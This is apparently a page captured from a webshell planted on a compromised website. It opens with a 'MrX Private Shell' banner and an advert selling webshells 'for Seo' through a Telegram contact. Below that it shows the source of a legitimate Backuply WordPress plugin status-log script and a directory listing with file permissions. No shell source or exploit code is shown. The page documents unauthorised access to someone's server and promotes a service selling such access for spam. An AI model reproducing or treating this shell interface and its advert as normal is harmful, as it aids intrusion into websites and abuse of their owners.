__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/*
* BACKUPLY
* https://backuply.com
* (c) Backuply Team
*/
header('Content-Type: application/json; charset=utf-8');
if(!_verify_self()){
echo json_encode(array('success' => false, 'progress_log' => 'Security Check Failed!|error'));
die();
}
_get_status($_REQUEST['last_status']);
// Returns the Security key
function _get_config(){
$config_file = dirname(__FILE__, 3) . '/backuply/status_key.php';
if(!file_exists($config_file) || 0 == filesize($config_file)) {
return false;
}
$fp = @fopen($config_file, 'r');
@fseek($fp, 16);
$content = @fread($fp, filesize($config_file));
@fclose($fp);
$status_key = $content;
return $status_key;
}
// Verifies the backuply key
function _verify_self(){
if(empty($_REQUEST['status_key'])) {
return false;
}
$status_lock = dirname(__FILE__, 3). '/backuply/status.lock';
if(!file_exists($status_lock) || (time() - filemtime($status_lock) > 1800)){
return false;
}
$status_key = _get_config();
if(!$status_key) {
return false;
}
if(urldecode($_REQUEST['status_key']) == $status_key) {
return true;
}
return false;
}
// Returns array of logs
function _get_status($last_log = 0){
$log_file = dirname(__FILE__, 3). '/backuply/backuply_log.php';
$logs = [];
$last_log = (int) $last_log;
if(!file_exists($log_file)){
$logs[] = 'Something went wrong!|error';
echo json_encode(array('success' => false, 'progress_log' => $logs));
die();
}
$fh = fopen($log_file, 'r');
$seek_to = $last_log + 16; // 16 for php exit
@fseek($fh, $seek_to);
$lines = fread($fh, fstat($fh)['size']);
fclose($fh);
$fh = null;
echo json_encode(array('success' => true, 'progress_log' => $lines));
die();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| main | Folder | 0755 |
|
|
| backup_ins.php | File | 64.48 KB | 0644 |
|
| backuply.php | File | 1.44 KB | 0644 |
|
| backuplytar.php | File | 52.32 KB | 0644 |
|
| functions.php | File | 49.92 KB | 0644 |
|
| index.html | File | 0 B | 0644 |
|
| init.php | File | 9.05 KB | 0644 |
|
| license.txt | File | 25.91 KB | 0644 |
|
| readme.txt | File | 23.35 KB | 0644 |
|
| restore_ins.php | File | 99.83 KB | 0644 |
|
| status_logs.php | File | 1.75 KB | 0644 |
|